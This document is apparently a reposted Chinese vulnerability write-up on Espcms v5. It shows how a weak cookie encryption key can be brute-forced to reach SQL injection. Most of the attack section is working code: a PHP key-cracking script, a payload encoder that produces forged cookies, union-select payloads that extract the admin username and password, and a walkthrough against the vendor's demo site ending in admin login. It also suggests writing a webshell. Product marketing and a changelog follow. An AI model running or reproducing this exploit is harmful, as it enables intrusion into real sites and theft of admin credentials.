Espcms v5暴力破解key来实现sql注入

发布时间:2013-04-01  关键词: Espcms sql注入 注入漏洞

漏洞分析:
interface\membermain.php 第 33行:

$db_sql = "SELECT * FROM $db_table1 LEFT JOIN $db_table2 ON a.userid = b.userid  WHERE a.userid = $this->ec_member_username_id ";

疑似存在int 注入漏洞,继续跟进 public\class_connector.php 第 415 行:

function member_purview($userrank = false, $url = null, $upurl = false) {
........
$user_info = explode('|', $this->fun->eccode($this->fun->accept('ecisp_member_info', 'C'), 'DECODE', db_pscode));
list($this->ec_member_username_id, $this->ec_member_alias, $this->ec_member_integral, $this->ec_member_mcid, $this->ec_member_email, $this->ec_member_lastip, $this->ec_member_ipadd, $this->ec_member_useragent, $this->ec_member_adminclassurl) = $user_info;
.......
}


直接从cookie的 ecisp_member_info中取出来,不过这里有个加密函数——eccode,在public\class_function.php 第179 行:

function eccode($string, $operation = 'DECODE', $key = '@LFK24s224%@safS3s%1f%') {
    $result = '';
    if ($operation == 'ENCODE') {
        for ($i = 0; $i < strlen($string); $i++) {
            $char = substr($string, $i, 1);
            $keychar = substr($key, ($i % strlen($key)) - 1, 1);
            $char = chr(ord($char) + ord($keychar));
            $result.=$char;
        }
        $result = base64_encode($result);
        $result = str_replace(array('+', '/', '='), array('-', '_', ''), $result);
    } elseif ($operation == 'DECODE') {
        $data = str_replace(array('-', '_'), array('+', '/'), $string);
        $mod4 = strlen($data) % 4;
        if ($mod4) {
            $data .= substr('====', $mod4);
        }
        $string = base64_decode($data);
        for ($i = 0; $i < strlen($string); $i++) {
            $char = substr($string, $i, 1);
            $keychar = substr($key, ($i % strlen($key)) - 1, 1);
            $char = chr(ord($char) - ord($keychar));
            $result.=$char;
        }
     }
     return $result;
}


此函数式是可逆的,只需要找出key——即系统中的db_pscode,继续跟进 db_pscode 生成 install\fun_center.php 第 238 行:

$pscode = rand('99', '999'); $config .= "define('db_pscode', '" . md5(md5($pscode)) . "');\r\n";

没有利用点,再看下 cookies中 ecisp_member_info的生成文件 interface\member.php 第 110 行:

 $this->fun->setcookie('ecisp_member_info', $this->fun->eccode("$memberread[userid]|$memberread[alias]|$memberread[integral]
|$memberread[mcid]|$memberread[email]|$memberread[lastip]|$ipadd|" . md5($_SERVER['HTTP_USER_AGENT']) . '|' . md5(admin_ClassURL), 'ENCODE', db_pscode));


用户id、名称、邮箱等等信息对于攻击者都是可获取的,枚举99到999 的key来匹配这些信息,计算出key之后即可以操作cookie传入任意sql语句。

利用代码:

<?php
@ini_set('memory_limit','-1');
set_time_limit(0);
 if ($argc < 5)
{
    Msg("Example: php   $argv[0]  abc 123 1@2.com  UZJZpmJKYZmRr4JZnmGBraGaaZJezwm6dl5huZZmXaZJklZ_DyJdkkmyYmm_JZ2ScYMqVlJjdbWlkaGeXyMaWl2eTnpiXw2Rja8WaaJuTamtkmJXJmJY",0);
}else{
 for($i=99;$i<=999;$i++){  
  $key=md5(md5($i));  
  msg("Test $i :".$key);
  $admin_ClassURL=md5("http://".$argv[1]."/");
  $temp='am2x4Wizl7SvwqXL1MulqpKmk5OnmNeucWlpZmpncWtutW6cbmeda26aaeLHmcqalWlimmtpk2NqmJWcaGaaZmtvbslvZ8pomsVix-KbyGZjZmiVb5Wbk3CTlGpslZtjanFqnW9wn55pxZiclw';
  $real_cookie_info=eccode($temp,'DECODE',$key); 
  if($real_cookie_info){    
   if(strpos($real_cookie_info,$argv[2])  && strpos($real_cookie_info,$argv[3]) && strpos($real_cookie_info,$admin_ClassURL)){    
    msg("The Key  Is :".$key);
    break;    
   }   
  }
 }
}

function  msg($str,$type=1){ 
 $str=($type) ? "[+]".$str : "[-]".$str;
 echo $str."\r\n"; 
}

function eccode($string, $operation = 'DECODE', $key = '@LFK24s224%@safS3s%1f%') {
 $result = '';
 if ($operation == 'ENCODE') {
  for ($i = 0; $i < strlen($string); $i++) {
   $char = substr($string, $i, 1);
   $keychar = substr($key, ($i % strlen($key)) - 1, 1);
   $char = chr(ord($char) + ord($keychar));
   $result.=$char;
  }
  $result = base64_encode($result);
  $result = str_replace(array('+', '/', '='), array('-', '_', ''), $result);
 } elseif ($operation == 'DECODE') {
  $data = str_replace(array('-', '_'), array('+', '/'), $string);
  $mod4 = strlen($data) % 4;
  if ($mod4) {
   $data .= substr('====', $mod4);
  }
  $string = base64_decode($data);
  for ($i = 0; $i < strlen($string); $i++) {
   $char = substr($string, $i, 1);
   $keychar = substr($key, ($i % strlen($key)) - 1, 1);
   $char = chr(ord($char) - ord($keychar));
   $result.=$char;
  }
 }
 return $result;
}
?>


利用演示:

以官方演示站为例,几百次之后得到key= 95e87f86a2ffde5110e93c2823634927。
先实验下 select user()
Member_info 的明文为1 and  1=2  union select  1,2,3,user(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28

Eccode解密:php espcms_v5_getsql.php。

espcms_v5_getsql.php代码:

<?php
@ini_set('memory_limit','-1');
set_time_limit(0);
//$sql_exp="  1 and  1=2  union select  1,2,3,(select concat(username,CHAR(0x7c),password)  from  espdemo_admin_member  limit 1),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28";
$sql_exp="  1 and  1=2  union select  1,2,3,user(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28";
//$key="dd6e0480f1d7a982463de3b3c9abb218";
$key="95e87f86a2ffde5110e93c2823634927";
file_put_contents("sql_exp.txt",eccode($sql_exp, 'ENCODE',$key));
msg("Generate exploit  succed > sql_exp.txt");
function  msg($str,$type=1){ 
 $str=($type) ? "[+]".$str : "[-]".$str;
 echo $str."\r\n"; 
}

function eccode($string, $operation = 'DECODE', $key = '@LFK24s224%@safS3s%1f%') {
 $result = '';
 if ($operation == 'ENCODE') {
  for ($i = 0; $i < strlen($string); $i++) {
   $char = substr($string, $i, 1);
   $keychar = substr($key, ($i % strlen($key)) - 1, 1);
   $char = chr(ord($char) + ord($keychar));
   $result.=$char;
  }
  $result = base64_encode($result);
  $result = str_replace(array('+', '/', '='), array('-', '_', ''), $result);
 } elseif ($operation == 'DECODE') {
  $data = str_replace(array('-', '_'), array('+', '/'), $string);
  $mod4 = strlen($data) % 4;
  if ($mod4) {
   $data .= substr('====', $mod4);
  }
  $string = base64_decode($data);
  for ($i = 0; $i < strlen($string); $i++) {
   $char = substr($string, $i, 1);
   $keychar = substr($key, ($i % strlen($key)) - 1, 1);
   $char = chr(ord($char) - ord($keychar));
   $result.=$char;
  }
 }
 return $result;
}
?>


编辑cookies 传入注入语句:



刷新下会员中心 http://目标网站/index.php?ac=membermain&at=editinfo



爆出数据,测试可行,查询数据库:

$sql_exp=" 1 and  1=2  union select  1,2,3,database(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28";

得到当前数据库为 espcmsdemo,再查询表前缀:

select  table_name  from  information_schema.tables  where  table_schema=0x657370636D7364656D6F   limit  1

然后
查管理员用户名和密码,得到管理员用户名和密码并解密md5后,即可登陆后台。

Tips:如果找不到后台,可以试试注入导出shell,爆绝对路径地址:interface/3gwap_search.php。

易思ESPCMS-P8企业建站管理系统由ESPCSM多个版本发展而来,可以适应目前流行的各类型企业网站的搭建及管理,它具备管理不同类型的信息,支持在线订购、支付、手机短信、微信公众号管理等常见功能。新一代的ESPCMS-P8平台,内置一套响应式的模板,具备开发方便,可以通过二次开发,扩展出常见的系统功能。 易思ESPCMS企业建站管理系统 P8.19042801 稳定版 更新日志 [[改进]:增加对PHP5.6,PHP7.0的支持 [改进]:模型中编号录入方式应该改成开启和关闭。 [改进]:当为手机模式的时候,则当前分类为主频道页的时候,手机模板无法使用自定义 [改进]:发布的成功的时候,会自动跳转到当前已选择的分类 [新增]:在发布的时候,增加下载图片和清除链接按钮 [新增]:在发布内容的时候,增加内链全文替换或单一替换选项 [新增]:内容实体转换功能 [新增]:新增后台内容搜索功能,可以输入内容ID、会员ID、订单ID进行直接搜索。 [新增]:兼容V6标签 [新增]:修复跳转要考虑到https方法的URL兼容性 [新增]:新增NAV导航标签,可以输出二级或者三级导航数据 [新增]:广告可以跳转到指定分类、指定的专题 [新增]:缓存屏蔽自定义权限功能 [新增]:询盘lib输出,询盘链接错误 [新增]:增加自定义title的选择,目前自定义title只会去掉标题的选项 [新增]:会员增加QQ、微信、新浪社交帐户登陆功能 [新增]:增加会员图像上传修改功能 [修复]:添加广告内容的时候,按钮名称错误。  [修复]:修复在数据库管理对象文件中,SEAPOA_DEBUG存在错误 [修复]:询盘产品数据提交错误 [修复]:后台模板代码编辑器出错。 [修复]:转换成静态后,无法删掉根目的index.html文件。 [修复]:WAP自动判断 [修复]:提交文章留言的时候,在静态状态下面,无法提交留言 [修复]:在PHP5.6版本的情况下,获取版本号错误 [修复]:ESPCMS安装在5.6下面会出错。 [修复]:当新建一个模型,且这个模型有新的字段,然后删掉这个模型的时候,修改其它模板的内容会出错。 [修复]:读取TAG数据错误 [修复]:模板切换后,选择模板错误 [修复]:手机lib_toucp组件无法使用  [修复]:全新ESPCMS在安装组件后,出现提醒语示获取错误 [修复]:询盘的时候,当产品禁用订购,则无法询盘 [修复]:静态化后,文章调查表单只能输出一个 [修复]:内容在添加后,如果按排序号来排序的话,文章会排在后面 [修复]:在手机中的goods_list模板中,所有文章都一样的输出 [修复]:当错误次数过多的时候,后台提示语句为空。 [修复]:多个不同的安全漏洞 [修复]:当内容为自定义的编辑框数据时,自定义的内容进行转换输出错误。 [修复]:生成跳转分类的错误 [修复]:选择关联文章的时候,如果翻页过多,则翻页会换行 [修复]:修复lib_read标签中的错误 [修复]:在修改分类的时候,偶尔出来import错误 [修复]:同步的时候,如果分类禁止了,就无法同步 [修复]:导航中假如使用了ishome:0,则首页那一块仅仅不显示文字,但是会多出一块 [修复]:新建模型的自定义字段不能修改正则表达式的信息; [修复]:内容详细阅读中,无链接输出参数,导致留言提交失败 [修复]:内容留言模板中,邮件提醒失败 易思ESPCMS-P8企业建站管理系统特点 一、自定义组件应用:ESPCMSV6采用了自定义组件安装的方式,可以在线自主安装最新的应用组件,ESPCMS将以组件市场为基础,打造强大实用的组件模式,供用户选择安装使用。 二、全的移动终端网站体验:结合目前流行的智能手机及其它移动平台,打造功能实全的移动终端网站应用,并可以在移动终端上面实行留言、订购、会员、表单等常见企业营销功能; 三、微信应用:完全支持微信信息推送、加入欢迎词、微信菜单设置、微网站设置,配合移动终端还可以实现微商城及微行业网站的应用; 四、二维码应用:可以实现微信二维码、手机二唯码、产品订单条形码的显示; 五、智能化的内容关键字生成:通过智能化的关键字生成,可以提高网站的SEO效果。 六、无限分类显示:支持内容无限分类,并可以在同页面实现无限分类的输出及展示,大大满足产品多分类的需求; 七、国内外主流支付组件:支持国内各大主流支付包括支付宝、财付通、快钱、银联,国际包括:Moneybookers、PayPal,实现企业国内外支付的需要; 八、人性化的图片文件上传组件:可以自定义图片文件上传、可以批量图片文件上传、可以相册分组、相册输出等文件管理功能; 九、邮件提醒模块:支持会员注册邮件通知、会员密码找回邮件通知、会员激活邮件通知、订单下单成功邮件通知、支付成功邮件通知、订单取消邮件通知、新订单管理员提醒通知、订单确认邮件通知、询价确认通知、询价管理员提醒通知、自助表单自定义管理员邮件知通知、自助表单回复通知、表单提交感谢信通知、新留言自定义管理员邮件知通知、新留言回复通知、内容留言管理员提醒通知。 十、手机短信提醒模块:支持手机短信注册提醒、手机密码找回、订单管理员提醒、密码修改提醒等手机短信功能; 十一、多站点集群管理:支持多站点相互通信管理,为集团企业建站增加便利管理功能; 十二、强大的SEO功能:支持内链、外链、TAG关键字、百度地图、Google地图等流行SEO元素,还支持静态页面生成、伪静态、动态等多种不同的模式; 易思ESPCMS-P8企业建站管理系统前台截图 易思ESPCMS-P8企业建站管理系统后台截图 相关阅读 同类推荐:站长常用源码
EspCMS 原名:EasySitePM 。一款适用于不同类型企业使用的网站管理平于,它具有多语言、繁简从内核转换、SEO搜索优化、图片自定生成、用户自定界面、可视化订单管理系统、可视化邮件设置、模板管理、数据缓存+图片缓存+文件缓存三重提高访问速度、百万级数据快速读取测试、基于PHP+MYSQL系统开发,功能包括:产品管理、文章管理、订单处理、单页信息、会员管理、留言管理、论坛、模板管理、语言管理、权限自定等。   ESPCMS初次安装注意事项:   一、更新语言引导文件    登陆后台后选择“网站语言管理”-“语言列表”-将您要开通的语言进行“生成引导文件”操作!(提示:如未生成引导文件,则除当前默认语言可以查看外,其它语言查看会出错,因此需要全部生成!另外,如您的网站在本地调试,生成的是以当前环境为主,当网站上传到服务器后,建议再重新生成一次!)   二、当前系统默认是以动态页面显示,如您网站处于调试状态,建议以动态显示为主,当网站调试结束后,再开启“静态页面生成”功能,然后对整站进行生成操作!   三、当前系统默认“关闭缓存”,如网站处理调式阶段,建议关闭,网站如处于运营状态,则建议“开启”。   四、如您网站上传的服务器属于Linux类型,建议您对相关权限目录进行读写权限检查操作。    1、登陆后台    2、选择“系统维护”- “文件夹权限检查”    3、对未设置读写权限操作的文件夹进行“777”权限操作   五、系统支持伪静态功能,请确定您的服务器是否支持该功能,并将htaccess的.htaccess文件复制到根目录及相关语言目录中!   六、如您本地调试URL地址和服务器URL地址不一样,请登陆“系统设置”-“网站参数设置”,对“网站网址”进行更改   七、系统初次使用无静态页,如访问静态页面出错,请进行生成或修改为动态显示即可!   八、系统中包括两套模板,goods为当前模板,请注意不要修改错误!   九、安装完毕后,请删掉到install目录!   易思ESPCMS v5.7更新:   1、增加询盘、订单产品图片显示;   2、修复sitemap生成错误; 运行环境:PHP+MySQL
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值